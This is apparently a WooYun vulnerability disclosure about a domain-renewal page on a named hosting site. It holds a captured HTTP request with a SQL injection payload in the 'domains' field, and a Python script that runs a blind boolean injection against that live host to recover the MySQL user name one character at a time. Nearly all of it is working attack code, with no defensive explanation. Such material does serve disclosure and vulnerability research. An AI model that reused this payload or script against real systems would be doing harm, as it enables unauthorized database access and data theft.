WooYun.org

POST /DO_RenewDomain.php HTTP/1.1
Content-Length: 188
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.hupo.com:80/
Cookie: PHPSESSID=f9brj2crqtot1s23iiihmgrau3
Host: www.hupo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
submit=&AvailDomains=1&btnAdd=%e6%b7%bb%e5%8a%a0%20>>&btnRemove=<<%20%e7%a7%bb%e9%99%a4&cmd=SelectDomain&domains=-1' OR length(user())=15 or 'x'=' &DomainsList=1&realCmd=RenewDomain&step=3

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print 'Start to retrive MySQL User:\n'
user = ''
for i in range(1, 16):
    for payload in payloads:
        print '.',
        conn = httplib.HTTPConnection('www.hupo.com', timeout=60)
		
        s = "domains=-1' or ascii(mid(user()from(%s)for(1)))=%s or 'x'='"% (i, ord(payload))
        
        conn.request(method='POST',
                     url='/DO_RenewDomain.php',
                     body='submit=&AvailDomains=1&btnAdd=%e6%b7%bb%e5%8a%a0%20>>&btnRemove=<<%20%e7%a7%bb%e9%99%a4&cmd=SelectDomain&DomainsList=1&realCmd=RenewDomain&step=3&' + s,
                     headers=headers)
        html_doc = conn.getresponse().read().decode('utf-8')
        conn.close()
        #print html_doc
        
        if html_doc.find(u'2015-08-29') > 0:
            user += payload
            sys.stdout.write('\r[In Progress]' + user)
            sys.stdout.flush()
            break
print '[Done]MySQL user is %s' % user